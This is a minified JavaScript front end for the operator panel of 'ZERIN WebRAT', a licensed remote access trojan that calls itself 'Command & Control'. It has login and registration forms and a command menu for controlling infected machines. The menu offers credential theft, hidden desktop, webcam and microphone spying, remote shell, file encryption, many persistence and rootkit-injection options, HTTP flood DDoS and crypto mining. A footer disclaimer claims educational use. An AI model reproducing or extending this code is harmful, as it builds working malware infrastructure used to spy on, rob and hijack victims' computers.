24",fill:"currentColor",children:s.jsx("path",{d:"M11.944 0A12 12 0 0 0 0 12a12 12 0 0 0 12 12 12 12 0 0 0 12-12A12 12 0 0 0 12 0a12 12 0 0 0-.056 0zm4.962 7.224c.1-.002.321.023.465.14a.506.506 0 0 1 .171.325c.016.093.036.306.02.472-.18 1.898-.962 6.502-1.36 8.627-.168.9-.499 1.201-.82 1.23-.696.065-1.225-.46-1.9-.902-1.056-.693-1.653-1.124-2.678-1.8-1.185-.78-.417-1.21.258-1.91.177-.184 3.247-2.977 3.307-3.23.007-.032.014-.15-.056-.212s-.174-.041-.249-.024c-.106.024-1.793 1.14-5.061 3.345-.48.33-.913.49-1.302.48-.428-.008-1.252-.241-1.865-.44-.752-.245-1.349-.374-1.297-.789.027-.216.325-.437.893-.663 3.498-1.524 5.83-2.529 6.998-3.014 3.332-1.386 4.025-1.627 4.476-1.635z"})}),"Telegram"]}),s.jsx("span",{className:"font-mono text-[11px] text-zerin-text-muted/30",children:"© 2026"})]})]}),s.jsx("div",{className:"max-w-6xl mx-auto mt-4 pt-4 border-t border-[#1a1a22]/30",children:s.jsx("p",{className:"font-mono text-[10px] text-zerin-text-muted/25 leading-relaxed text-center",children:"This software is provided strictly for educational purposes and authorized penetration testing only. The developer does not promote, condone, or support the use of this tool for unauthorized access, malware distribution, or any illegal activity. By using this software you agree to comply with all applicable laws in your jurisdiction. Use at your own risk."})})]})]})}function xj(){const e=p.useRef(null);return p.useEffect(()=>{const t=e.current;if(!t)return;const n=t.getContext("2d");let r,i=0;function a(){t.width=window.innerWidth,t.height=window.innerHeight}a(),window.addEventListener("resize",a);function o(){i+=.002,n.clearRect(0,0,t.width,t.height);const l=50,c=Math.ceil(t.width/l)+1,u=Math.ceil(t.height/l)+1;for(let d=0;d{cancelAnimationFrame(r),window.removeEventListener("resize",a)}},[]),s.jsxs(s.Fragment,{children:[s.jsx("canvas",{ref:e,className:"fixed inset-0 pointer-events-none",style:{zIndex:0}}),s.jsx("div",{className:"fixed inset-0 pointer-events-none",style:{zIndex:1,background:"radial-gradient(ellipse at center, transparent 30%, rgba(4,4,10,0.7) 100%)"}})]})}const qg="zerin.pro",vj="zerpanel-67ontoplol.top";function yx(){return window.location.hostname===qg||window.location.hostname===`www.${qg}`}function VA(){const e=dr(),[t,n]=p.useState(""),[r,i]=p.useState(""),[a,o]=p.useState(""),[l,c]=p.useState(!1);async function u(d){d.preventDefault(),o(""),c(!0);try{if(await _E({username:t,password:r}),yx()){const f=rt();if(f){window.location.href=`https://${vj}/auth#token=${encodeURIComponent(f)}`;return}}e("/dashboard")}catch(f){f instanceof di?o(f.status===401?f.message||"Invalid credentials":`Server error: ${f.message}`):o("Connection failed. Is the server running?")}finally{c(!1)}}return s.jsxs("div",{className:"min-h-screen bg-zerin-bg flex items-center justify-center p-4 overflow-hidden",children:[s.jsx(xj,{}),s.jsxs("div",{className:"relative w-full max-w-sm",style:{zIndex:2},children:[s.jsxs("div",{className:"text-center mb-8 auth-stagger-1",children:[s.jsxs("div",{className:"inline-flex items-center gap-2.5 auth-breathe",children:[s.jsx("h1",{className:"font-display font-bold text-2xl text-zerin-text tracking-tight",children:"ZERIN"}),s.jsx("span",{className:"text-[10px] font-mono font-semibold tracking-wider border border-zerin-accent/30 text-zerin-accent px-2 py-0.5 auth-badge-glow",children:"WebRAT"})]}),s.jsx("p",{className:"text-zerin-text-muted text-sm mt-1.5 font-sans",children:"Command & Control"})]}),s.jsxs("div",{className:"auth-card auth-stagger-2",children:[s.jsx("div",{className:"auth-corner auth-corner-tl"}),s.jsx("div",{className:"auth-corner auth-corner-tr"}),s.jsx("div",{className:"auth-corner auth-corner-bl"}),s.jsx("div",{className:"auth-corner auth-corner-br"}),s.jsx("div",{className:"auth-scanline"}),s.jsxs("form",{onSubmit:u,className:"relative space-y-5",children:[a&&s.jsxs("div",{className:"auth-error",children:[s.jsx("div",{className:"auth-error-bar"}),s.jsx("span",{children:a})]}),s.jsxs("div",{className:"auth-stagger-3",children:[s.jsx("label",{htmlFor:"username",className:"block text-[11px] uppercase tracking-widest text-zerin-text-muted font-mono mb-2",children:"Username"}),s.jsx("div",{className:"auth-input-wrap",children:s.jsx("input",{id:"username",type:"text",value:t,onChange:d=>n(d.target.value),required:!0,autoFocus:!0,autoComplete:"username",className:"auth-input",placeholder:"Enter username"})})]}),s.jsxs("div",{className:"auth-stagger-4",children:[s.jsx("label",{htmlFor:"password",className:"block text-[11px] uppercase tracking-widest text-zerin-text-muted font-mono mb-2",children:"Password"}),s.jsx("div",{className:"auth-input-wrap",children:s.jsx("input",{id:"password",type:"password",value:r,onChange:d=>i(d.target.value),required:!0,autoComplete:"current-password",className:"auth-input",placeholder:"Enter password"})})]}),s.jsx("div",{className:"auth-stagger-5 pt-1",children:s.jsx("button",{type:"submit",disabled:l,className:"auth-submit",children:s.jsxs("span",{className:"relative z-10 flex items-center justify-center gap-2",children:[l&&s.jsxs("svg",{className:"animate-spin h-4 w-4",viewBox:"0 0 24 24",fill:"none",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"3"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8v4a4 4 0 00-4 4H4z"})]}),l?"Authenticating...":"Sign In"]})})})]})]}),s.jsxs("div",{className:"mt-7 text-center space-y-2.5 auth-stagger-6",children:[s.jsxs("p",{className:"text-zerin-text-muted text-sm font-sans",children:["Don't have an account?"," ",s.jsx(dt,{to:"/register",className:"text-zerin-accent hover:text-zerin-accent-hover transition-colors duration-200",children:"Register"})]}),s.jsxs("div",{className:"flex items-center justify-center gap-2",children:[s.jsx("span",{className:"auth-status-dot"}),s.jsx("span",{className:"text-zerin-text-muted/40 text-[10px] font-mono",children:"v1.0.0 · secure"})]})]})]})]})}function HA(){const e=dr(),[t,n]=p.useState(""),[r,i]=p.useState(""),[a,o]=p.useState(""),[l,c]=p.useState(""),[u,d]=p.useState(""),[f,m]=p.useState(!1);async function h(x){if(x.preventDefault(),d(""),!/^[a-zA-Z0-9]{3,32}$/.test(t)){d("Username must be 3-32 characters, alphanumeric only");return}if(r!==a){d("Passwords do not match");return}if(r.length<12){d("Password must be at least 12 characters");return}m(!0);try{if(await OE({username:t,password:r,license_key:l}),yx()){const g=rt();if(g){window.location.href=`https://${vj}/auth#token=${encodeURIComponent(g)}`;return}}e("/dashboard")}catch(g){if(g instanceof di)try{const y=JSON.parse(g.message);d(y.error||g.message)}catch{d(g.message)}else d("Connection failed. Is the server running?")}finally{m(!1)}}return s.jsxs("div",{className:"min-h-screen bg-zerin-bg flex items-center justify-center p-4 overflow-hidden",children:[s.jsx(xj,{}),s.jsxs("div",{className:"relative w-full max-w-sm",style:{zIndex:2},children:[s.jsxs("div",{className:"text-center mb-8 auth-stagger-1",children:[s.jsxs("div",{className:"inline-flex items-center gap-2.5 auth-breathe",children:[s.jsx("h1",{className:"font-display font-bold text-2xl text-zerin-text tracking-tight",children:"ZERIN"}),s.jsx("span",{className:"text-[10px] font-mono font-semibold tracking-wider border border-zerin-accent/30 text-zerin-accent px-2 py-0.5 auth-badge-glow",children:"WebRAT"})]}),s.jsx("p",{className:"text-zerin-text-muted text-sm mt-1.5 font-sans",children:"Create Account"})]}),s.jsxs("div",{className:"auth-card auth-stagger-2",children:[s.jsx("div",{className:"auth-corner auth-corner-tl"}),s.jsx("div",{className:"auth-corner auth-corner-tr"}),s.jsx("div",{className:"auth-corner auth-corner-bl"}),s.jsx("div",{className:"auth-corner auth-corner-br"}),s.jsx("div",{className:"auth-scanline"}),s.jsxs("form",{onSubmit:h,className:"relative space-y-5",children:[u&&s.jsxs("div",{className:"auth-error",children:[s.jsx("div",{className:"auth-error-bar"}),s.jsx("span",{children:u})]}),s.jsxs("div",{className:"auth-stagger-3",children:[s.jsx("label",{htmlFor:"username",className:"block text-[11px] uppercase tracking-widest text-zerin-text-muted font-mono mb-2",children:"Username"}),s.jsx("div",{className:"auth-input-wrap",children:s.jsx("input",{id:"username",type:"text",value:t,onChange:x=>n(x.target.value),required:!0,autoFocus:!0,autoComplete:"username",className:"auth-input",placeholder:"Choose a username"})})]}),s.jsxs("div",{className:"auth-stagger-4",children:[s.jsx("label",{htmlFor:"password",className:"block text-[11px] uppercase tracking-widest text-zerin-text-muted font-mono mb-2",children:"Password"}),s.jsx("div",{className:"auth-input-wrap",children:s.jsx("input",{id:"password",type:"password",value:r,onChange:x=>i(x.target.value),required:!0,autoComplete:"new-password",className:"auth-input",placeholder:"Min 12 characters"})})]}),s.jsxs("div",{className:"auth-stagger-5",children:[s.jsx("label",{htmlFor:"confirmPassword",className:"block text-[11px] uppercase tracking-widest text-zerin-text-muted font-mono mb-2",children:"Confirm Password"}),s.jsx("div",{className:"auth-input-wrap",children:s.jsx("input",{id:"confirmPassword",type:"password",value:a,onChange:x=>o(x.target.value),required:!0,autoComplete:"new-password",className:"auth-input",placeholder:"Repeat password"})})]}),s.jsxs("div",{className:"auth-stagger-6",children:[s.jsx("label",{htmlFor:"licenseKey",className:"block text-[11px] uppercase tracking-widest text-zerin-text-muted font-mono mb-2",children:"License Key"}),s.jsx("div",{className:"auth-input-wrap",children:s.jsx("input",{id:"licenseKey",type:"text",value:l,onChange:x=>{const g=x.target.value;g.toLowerCase().startsWith("zer-")?c("zer-"+g.slice(4).toUpperCase()):c(g.toUpperCase())},required:!0,autoComplete:"off",spellCheck:!1,className:"auth-input font-mono",placeholder:"zer-XXXXX-XXXXX-XXXXX-XXXXX-XXXXX-XXXXX"})})]}),s.jsx("div",{className:"auth-stagger-7 pt-1",children:s.jsx("button",{type:"submit",disabled:f,className:"auth-submit",children:s.jsxs("span",{className:"relative z-10 flex items-center justify-center gap-2",children:[f&&s.jsxs("svg",{className:"animate-spin h-4 w-4",viewBox:"0 0 24 24",fill:"none",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"3"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8v4a4 4 0 00-4 4H4z"})]}),f?"Creating Account...":"Register"]})})})]})]}),s.jsxs("div",{className:"mt-7 text-center space-y-2.5 auth-stagger-8",children:[s.jsxs("p",{className:"text-zerin-text-muted text-sm font-sans",children:["Already have an account?"," ",s.jsx(dt,{to:"/login",className:"text-zerin-accent hover:text-zerin-accent-hover transition-colors duration-200",children:"Sign In"})]}),s.jsxs("div",{className:"flex items-center justify-center gap-2",children:[s.jsx("span",{className:"auth-status-dot"}),s.jsx("span",{className:"text-zerin-text-muted/40 text-[10px] font-mono",children:"v1.0.0 · secure"})]})]})]})]})}function Vc(e){const t=Date.now(),n=new Date(e).getTime(),r=t-n;if(r<0)return"just now";const i=Math.floor(r/1e3),a=Math.floor(i/60),o=Math.floor(a/60),l=Math.floor(o/24);return i<5?"just now":i<60?`${i}s ago`:a<60?`${a}m ago`:o<24?`${o}h ago`:l<30?`${l}d ago`:new Date(e).toLocaleDateString()}function km(e,t=1){if(e<=0)return"0 B";const n=1024,r=["B","KB","MB","GB","TB"],i=Math.floor(Math.log(e)/Math.log(n));return`${parseFloat((e/Math.pow(n,i)).toFixed(t))} ${r[i]}`}function KA(e){return new Date(e).toLocaleString("en-US",{month:"short",day:"numeric",hour:"2-digit",minute:"2-digit",second:"2-digit",hour12:!1})}function No(e){return new Date(e).toLocaleString("en-US",{year:"numeric",month:"short",day:"numeric",hour:"2-digit",minute:"2-digit",second:"2-digit",hour12:!1})}function So(e){const t=e.toLowerCase();return t.includes("windows")?"Windows":t.includes("linux")?"Linux":t.includes("darwin")||t.includes("macos")?"macOS":e}function Hs(e){return e.slice(0,8)}function gj(e,t){if(e<60)return`${e}s / ${t}%`;const n=Math.floor(e/60),r=e%60;return r===0?`${n}m / ${t}%`:`${n}m ${r}s / ${t}%`}function qA(e){return`data:image/bmp;base64,${e}`}function YA(e){return e.startsWith("Qk")}const _n="w-3.5 h-3.5 flex-shrink-0",Jt={eye:s.jsxs("svg",{className:_n,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:[s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 12a3 3 0 11-6 0 3 3 0 016 0z"}),s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.458 12C3.732 7.943 7.523 5 12 5c4.478 0 8.268 2.943 9.542 7-1.274 4.057-5.064 7-9.542 7-4.477 0-8.268-2.943-9.542-7z"})]}),info:s.jsx("svg",{className:_n,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 16h-1v-4h-1m1-4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"})}),terminal:s.jsx("svg",{className:_n,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 9l3 3-3 3m5 0h3M5 20h14a2 2 0 002-2V6a2 2 0 00-2-2H5a2 2 0 00-2 2v12a2 2 0 002 2z"})}),folder:s.jsx("svg",{className:_n,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 7v10a2 2 0 002 2h14a2 2 0 002-2V9a2 2 0 00-2-2h-6l-2-2H5a2 2 0 00-2 2z"})}),pin:s.jsx("svg",{className:_n,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 5a2 2 0 012-2h10a2 2 0 012 2v16l-7-3.5L5 21V5z"})}),key:s.jsx("svg",{className:_n,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 7a2 2 0 012 2m4 0a6 6 0 01-7.743 5.743L11 17H9v2H7v2H4a1 1 0 01-1-1v-2.586a1 1 0 01.293-.707l5.964-5.964A6 6 0 1121 9z"})}),shield:s.jsx("svg",{className:_n,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 12l2 2 4-4m5.618-4.016A11.955 11.955 0 0112 2.944a11.955 11.955 0 01-8.618 3.04A12.02 12.02 0 003 9c0 5.591 3.824 10.29 9 11.622 5.176-1.332 9-6.03 9-11.622 0-1.042-.133-2.052-.382-3.016z"})}),sparkles:s.jsx("svg",{className:_n,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 3v4M3 5h4M6 17v4m-2-2h4m5-16l2.286 6.857L21 12l-5.714 2.143L13 21l-2.286-6.857L5 12l5.714-2.143L13 3z"})}),bolt:s.jsx("svg",{className:_n,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 10V3L4 14h7v7l9-11h-7z"})}),power:s.jsx("svg",{className:_n,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M18.364 5.636a9 9 0 010 12.728M5.636 5.636a9 9 0 000 12.728M12 2v4"})}),cog:s.jsxs("svg",{className:_n,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:[s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M10.325 4.317c.426-1.756 2.924-1.756 3.35 0a1.724 1.724 0 002.573 1.066c1.543-.94 3.31.826 2.37 2.37a1.724 1.724 0 001.066 2.573c1.756.426 1.756 2.924 0 3.35a1.724 1.724 0 00-1.066 2.573c.94 1.543-.826 3.31-2.37 2.37a1.724 1.724 0 00-2.573 1.066c-.426 1.756-2.924 1.756-3.35 0a1.724 1.724 0 00-2.573-1.066c-1.543.94-3.31-.826-2.37-2.37a1.724 1.724 0 00-1.066-2.573c-1.756-.426-1.756-2.924 0-3.35a1.724 1.724 0 001.066-2.573c-.94-1.543.826-3.31 2.37-2.37.996.608 2.296.07 2.572-1.065z"}),s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 12a3 3 0 11-6 0 3 3 0 016 0z"})]}),externalLink:s.jsx("svg",{className:"w-3 h-3 flex-shrink-0 opacity-40",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M10 6H6a2 2 0 00-2 2v10a2 2 0 002 2h10a2 2 0 002-2v-4M14 4h6m0 0v6m0-6L10 14"})}),search:s.jsx("svg",{className:"w-3.5 h-3.5 text-[#3a3a44]",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})})},GA=new Set(["vnc","hvnc","webcam","mic","socks5","chat"]),XA=new Set(["remove","exit","uninstall","shutdown"]),ZA=new Set(["ban"]),Yf=[{label:"Monitoring",icon:Jt.eye,group:1,commands:[{key:"ps",label:"Process List",nav:{tab:"processes"}},{key:"windows",label:"Window List",nav:{tab:"windows"}},{key:"screenshot",label:"Screenshot",nav:{tab:"screenshots",action:"screenshot"}},{key:"vnc",label:"Remote Desktop",nav:{action:"vnc"}},{key:"hvnc",label:"Hidden Desktop",nav:{action:"hvnc"}},{key:"webcam",label:"Webcam",nav:{action:"webcam"}},{key:"mic",label:"Microphone",nav:{action:"mic"}},{key:"socks5",label:"Reverse Proxy",nav:{action:"socks5"}},{key:"netstat",label:"Network Connections",nav:{tab:"overview",action:"submit"}},{key:"ifconfig",label:"Network Interfaces",nav:{tab:"overview",action:"submit"}}]},{label:"Information",icon:Jt.info,group:1,commands:[{key:"whoami",label:"Whoami",nav:{tab:"overview",action:"submit"}},{key:"sysinfo",label:"System Info",nav:{tab:"overview",action:"submit"}},{key:"specs",label:"System Specs",nav:{tab:"system"}},{key:"installed_apps",label:"Installed Apps",nav:{tab:"apps"}},{key:"env",label:"Environment Variables",nav:{tab:"overview",action:"submit"}},{key:"creds",label:"Grab Credentials",nav:{tab:"credentials",action:"submit"}}]},{label:"Execution",icon:Jt.terminal,group:2,commands:[{key:"shell",label:"Command Shell",nav:{tab:"overview"}},{key:"powershell",label:"PowerShell",nav:{tab:"overview"}},{key:"execute",label:"Execute File",nav:{action:"execute_upload"}}]},{label:"File Manager",icon:Jt.folder,group:2,commands:[{key:"ls",label:"Browse Files",nav:{tab:"files"}},{key:"upload",label:"Upload File",nav:{tab:"files"}},{key:"download",label:"Download File",nav:{tab:"files"}},{key:"encrypt",label:"Encrypt File",nav:{tab:"overview",action:"submit"}},{key:"decrypt",label:"Decrypt File",nav:{tab:"overview",action:"submit"}}]},{label:"Persistence",icon:Jt.pin,group:3,commands:[{key:"persist_runkey",label:"Run Key",nav:{tab:"overview",action:"submit"}},{key:"persist_schtask",label:"Scheduled Task",nav:{tab:"overview",action:"submit"}},{key:"persist_service",label:"Service",nav:{tab:"overview",action:"submit"}},{key:"persist_startup",label:"Startup Folder",nav:{tab:"overview",action:"submit"}},{key:"persist_logonscript",label:"Logon Script",nav:{tab:"overview",action:"submit"}},{key:"persist_screensaver",label:"Screensaver",nav:{tab:"overview",action:"submit"}},{key:"persist_ifeo",label:"IFEO Debugger",nav:{tab:"overview",action:"submit"}},{key:"persist_bits",label:"BITS Job",nav:{tab:"overview",action:"submit"}},{key:"persist_com",label:"COM Hijack",nav:{tab:"overview",action:"submit"}},{key:"persist_dllhijack",label:"DLL Hijack",nav:{tab:"overview",action:"submit"}},{key:"persist_wmi",label:"WMI Event Sub",nav:{tab:"overview",action:"submit"}},{key:"persist_portmon",label:"Port Monitor",nav:{tab:"overview",action:"submit"}},{key:"persist_ssp",label:"SSP (LSA)",nav:{tab:"overview",action:"submit"}}]},{label:"Registry",icon:Jt.key,group:3,commands:[{key:"reg_read",label:"Read Key",nav:{tab:"overview",action:"submit"}},{key:"reg_write",label:"Write Key",nav:{tab:"overview",action:"submit"}}]},{label:"Rootkit",icon:Jt.shield,group:3,commands:[{key:"rootkit_status",label:"Rootkit Status",nav:{tab:"overview",action:"submit"}},{key:"rootkit_inject",label:"Inject into PID",nav:{tab:"overview",action:"submit"}}]},{label:"Extra",icon:Jt.sparkles,group:4,commands:[{key:"troll_panel",label:"Troll Panel",nav:{tab:"troll"}},{key:"troll_msgbox",label:"Message Box",nav:{tab:"troll"}},{key:"troll_tts",label:"Text to Speech",nav:{tab:"troll"}},{key:"troll_website",label:"Open Website",nav:{tab:"troll"}},{key:"troll_wallpaper",label:"Change Wallpaper",nav:{tab:"troll"}},{key:"troll_taskbar",label:"Toggle Taskbar",nav:{tab:"troll"}},{key:"troll_cd_tray",label:"Open CD Tray",nav:{tab:"troll"}},{key:"chat",label:"Live Chat",nav:{action:"chat"}}]},{label:"Network Attack",icon:Jt.bolt,group:4,commands:[{key:"ddos_start",label:"HTTP Flood",nav:{tab:"ddos"}},{key:"miner_start",label:"Crypto Miner",nav:{tab:"miner"}}]},{label:"PC Options",icon:Jt.power,group:5,commands:[{key:"restart",label:"Restart PC",nav:{action:"confirm"}},{key:"shutdown",label:"Shutdown PC",nav:{action:"confirm"}}]},{label:"Bot Options",icon:Jt.cog,group:5,commands:[{key:"sleep",label:"Change Sleep",nav:{tab:"overview"}},{key:"exit",label:"Exit Agent",nav:{action:"confirm"}},{key:"uninstall",label:"Uninstall Agent",nav:{action:"confirm"}},{key:"ban",label:"Ban Agent",nav:{action:"ban"}},{key:"remove",label:"Remove from List",nav:{action:"remove"}}]}],QA={alive:"bg-zerin-accent",stale:"bg-zinc-500",dead:"bg-zinc-700"},JA={alive:"ONLINE",stale:"STALE",dead:"OFFLINE"},e_={alive:"text-zerin-accent",stale:"text-zinc-500",dead:"text-zerin-danger"},t_=({x:e,y:t,visible:n,onAction:r,onClose:i,agentStatus:a="alive",agentName:o})=>{const l=p.useRef(null),c=p.useRef(null),u=p.useRef(null),[d,f]=p.useState(null),[m,h]=p.useState({x:e,y:t}),[x,g]=p.useState(""),[y,v]=p.useState(-1),[b,w]=p.useState(-1),[j,k]=p.useState(!1),S=p.useRef(null),N=a==="dead",z=x.trim()?Yf.map(D=>({...D,commands:D.commands.filter(M=>M.label.toLowerCase().includes(x.toLowerCase())||M.key.toLowerCase().includes(x.toLowerCase()))})).filter(D=>D.commands.length>0||D.label.toLowerCase().includes(x.toLowerCase())).map(D=>({...D,commands:D.commands.length>0?D.commands:Yf.find(M=>M.label===D.label).commands})):Yf;p.useEffect(()=>{if(n&&l.current){const D=l.current.getBoundingClientRect(),M=window.innerWidth,F=window.innerHeight;let R=e,W=t;e+D.width>M&&(R=M-D.width-8),t+D.height>F&&(W=F-D.height-8),h({x:Math.max(4,R),y:Math.max(4,W)})}else h({x:e,y:t})},[e,t,n]),p.useEffect(()=>{n||(f(null),g(""),v(-1),w(-1),k(!1))},[n]),p.useEffect(()=>{n&&requestAnimationFrame(()=>{var D;(D=c.current)==null||D.focus()})},[n]),p.useEffect(()=>{if(!n)return;const D=M=>{l.current&&!l.current.contains(M.target)&&i()};return document.addEventListener("mousedown",D),()=>{document.removeEventListener("mousedown",D)}},[n,i]),p.useEffect(()=>()=>{S.current&&clearTimeout(S.current)},[]);const _=p.useCallback(()=>{if(!u.current)return;const D=u.current;D.style.top="0px";const M=D.getBoundingClientRect(),F=window.innerHeight;if(M.bottom>F-8){const R=M.bottom-F+8;D.style.top=`${-R}px`}},[]);if(p.useEffect(()=>{d&&requestAnimationFrame(_)},[d,_]),p.useEffect(()=>{if(!n)return;const D=M=>{var R;const F=z;if(F.length!==0)switch(M.key){case"ArrowDown":{if(M.preventDefault(),j){const W=F.find($=>$.label===d);W&&w($=>${const $=W$.label===d);W&&w($=>$>0?$-1:W.commands.length-1)}else v(W=>{const $=W>0?W-1:F.length-1;return f(F[$].label),$});break}case"ArrowRight":case"Enter":{if(j&&M.key==="Enter"){M.preventDefault();const W=F.find($=>$.label===d);W&&b>=0&&bdocument.removeEventListener("keydown",D)},[n,z,d,j,y,b,i]),!n)return null;const A=(D,M)=>{S.current&&clearTimeout(S.current),S.current=setTimeout(()=>{f(D),v(M),k(!1),w(-1)},60)},O=()=>{S.current&&clearTimeout(S.current)},P=D=>{N&&D.nav.action!=="remove"&&D.nav.action!=="ban"||r(D.key,D.nav)},I=m.x+200+220>window.innerWidth,U=D=>D===0?!1:z[D].group!==z[D-1].group;return s.jsx("div",{ref:l,className:"fixed z-[9999]",style:{left:m.x,top:m.y},onMouseLeave:()=>{f(null),v(-1),k(!1),w(-1)},children:s.jsxs("div",{className:"min-w-[200px] border border-[#1a1a20] bg-[#0d0d11] shadow-2xl shadow-black/60 animate-scale-in",style:{backdropFilter:"blur(12px)"},children:[s.jsxs("div",{className:"flex items-center gap-2.5 border-b border-[#1a1a20] px-3 py-2.5",children:[s.jsxs("span",{className:"relative inline-flex",children:[a==="alive"&&s.jsx("span",{className:"absolute inline-flex h-full w-full rounded-full bg-zerin-accent opacity-40 animate-pulse-dot"}),s.jsx("span",{className:`relative inline-block h-2 w-2 rounded-full ${QA[a]}`})]}),s.jsxs("div",{className:"flex flex-col min-w-0",children:[s.jsx("span",{className:"text-[12px] font-medium text-zerin-text truncate max-w-[160px]",children:o||"Unknown"}),s.jsx("span",{className:`font-mono text-[10px] ${e_[a]}`,children:JA[a]})]})]}),s.jsx("div",{className:"px-2 pt-2 pb-1",children:s.jsxs("div",{className:"flex items-center gap-2 bg-[#09090b] border border-[#1a1a20] px-2 py-1.5",children:[Jt.search,s.jsx("input",{ref:c,type:"text",value:x,onChange:D=>{g(D.target.value),v(-1),f(null),k(!1),w(-1)},placeholder:"Search commands...",className:"flex-1 bg-transparent text-[12px] text-zerin-text placeholder-[#3a3a44] outline-none"}),x&&s.jsx("button",{onClick:()=>{var D;g(""),(D=c.current)==null||D.focus()},className:"text-[#3a3a44] hover:text-zerin-text-dim transition-colors",children:s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]})}),s.jsxs("div",{className:"py-1",children:[z.length===0&&s.jsx("div",{className:"px-3 py-4 text-center",children:s.jsx("span",{className:"text-[12px] text-[#3a3a44]",children:"No matches"})}),z.map((D,M)=>s.jsxs(wh.Fragment,{children:[U(M)&&s.jsx("div",{className:"mx-2 my-1 border-b border-[#1a1a20]"}),s.jsxs("div",{className:"relative",onMouseEnter:()=>A(D.label,M),onMouseLeave:O,children:[s.jsxs("div",{className:`flex cursor-default items-center gap-2.5 px-3 py-[7px] transition-colors duration-100 ${d===D.label||y===M?N?"bg-[#16161c] text-zerin-text-muted":"bg-zerin-accent/15 text-zerin-accent":N?"text-zerin-text-muted":"text-[#b0b0b8] hover:bg-[#14141a]"}`,children:[s.jsx("span",{className:`${d===D.label||y===M?N?"text-zerin-text-muted":"text-zerin-accent":"text-[#4a4a54]"} transition-colors duration-100`,children:D.icon}),s.jsx("span",{className:"flex-1 text-[13px] font-medium leading-tight",children:D.label}),s.jsx("svg",{className:`h-3 w-3 flex-shrink-0 transition-all duration-100 ${d===D.label||y===M?"translate-x-0.5 text-zerin-accent/70":"text-[#3a3a44]"}`,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 5l7 7-7 7"})})]}),d===D.label&&s.jsxs("div",{ref:u,className:`absolute top-0 z-[10000] min-w-[210px] border border-[#1a1a20] bg-[#0d0d11] py-1 shadow-2xl shadow-black/60 ctx-submenu-in ${I?"right-full mr-[1px]":"left-full ml-[1px]"}`,style:{backdropFilter:"blur(12px)",maxHeight:"calc(100vh - 16px)",overflowY:"auto"},children:[s.jsx("div",{className:"px-3 py-1.5 mb-0.5 border-b border-[#1a1a20]",children:s.jsx("span",{className:"text-[10px] font-medium uppercase tracking-wider text-[#3a3a44]",children:D.label})}),D.commands.map((F,R)=>{const W=N&&F.nav.action!=="remove"&&F.nav.action!=="ban",$=XA.has(F.key)||F.nav.action==="remove",H=ZA.has(F.key)||F.nav.action==="ban",X=GA.has(F.key),se=j&&b===R;return s.jsxs("button",{onClick:()=>P(F),disabled:W,className:`flex w-full items-center justify-between gap-2 px-4 py-[7px] text-left text-[13px] transition-colors duration-75 ${$?se?"bg-red-500/20 text-red-300 cursor-pointer":"cursor-pointer text-red-400 hover:bg-red-500/15 hover:text-red-300":H?se?"bg-orange-500/20 text-orange-300 cursor-pointer":"cursor-pointer text-orange-400 hover:bg-orange-500/15 hover:text-orange-300":W?"cursor-not-allowed text-zerin-text-muted":se?"bg-zerin-accent/20 text-zerin-accent cursor-pointer":"cursor-pointer text-[#b0b0b8] hover:bg-zerin-accent/15 hover:text-zerin-accent"}`,children:[s.jsx("span",{children:F.label}),X&&!W&&Jt.externalLink]},F.key)})]})]})]},D.label))]})]})})};function yj({agentId:e,agentHostname:t,open:n,onClose:r}){const[i,a]=p.useState([]),[o,l]=p.useState(""),[c,u]=p.useState(!1),[d,f]=p.useState(!0),m=p.useRef(null),h=p.useRef(null),{lastMessage:x}=p.useContext(ld),g=p.useCallback(async()=>{try{const v=rt(),b=await fetch(`/api/agents/${e}/chat`,{headers:{"Content-Type":"application/json",...v?{Authorization:`Bearer 